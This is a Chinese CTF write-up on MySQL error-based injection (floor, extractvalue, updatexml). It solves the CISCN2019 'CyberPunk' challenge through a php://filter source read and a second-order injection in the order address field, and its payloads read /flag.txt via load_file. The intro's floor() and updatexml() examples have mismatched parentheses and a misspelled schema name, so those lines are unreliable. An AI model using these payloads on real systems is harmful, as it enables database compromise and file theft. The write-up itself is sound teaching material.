報錯注入——[CISCN2019 華北賽區 Day1 Web5]CyberPunk
報錯注入
報錯注入有很多種,其中最常用的三種分別是floor()、extractvalue()、updatexml(),這裡附上一個參考連結https://www.jianshu.com/p/bc35f8dd4f7c
-
floor()報錯注入方法:select count(*) from infomation_schema.tables group by concat((select user()),floor(rand(0)*2);
開啟MySQL命令框輸入命令檢視報錯資訊。 -
extractvalue()報錯注入方法:select extractvalue(1,concat(0x7e,(select user()),0x7e));
extractvalue()接收兩個引數,第一個XML文件,第二個xpath語句。xpath語句格式錯誤返回資料。MySQL命令列中測試檢視。 -
updatexml()報錯注入方法:select updatexml(1,concat(0x7e,(select user()),0x7e,1);
查詢出所有庫以及security中所有表的資訊。
通常會搭配MySQL的LOAD_FILE(file_name)函式讀取一個檔案並將其內容作為字串返回,如讀取flag檔案等。下面通過一道題目進行注入實現:
[CISCN2019 華北賽區 Day1 Web5]CyberPunk
題目直接給了提示<!--?file=?-->
?file=php://filter/read=convert.base64-encode/resource=xxx.php
然後就是程式碼審計了,發現在confirm.php和change.php頁面中存在注入漏洞。提交訂單時對姓名和電話都進行了過濾,但是沒有過濾地址,導致在預編譯處理之後,在修改訂單處存在二次注入。在'old_address'='".$row['address']."'處,用了一開始提交的地址,從而造成了惡意程式碼的拼接。
confirm.php 處關鍵程式碼:
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = $_POST["address"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if($fetch->num_rows>0) { $msg = $user_name."已提交訂單"; }else{ $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)"; $re = $db->prepare($sql); $re->bind_param("sss", $user_name, $address, $phone); $re = $re->execute();
change.php 處關鍵程式碼:
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
所以在提交訂單的時候的地址處構造一個用來注入的語句,然後再修改一下訂單,完成注入。由於flag太長,需要通過改變substr的起始值,才能獲得全部的flag。
extractvalue()
1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e));#
1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e));#
updatexml()
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#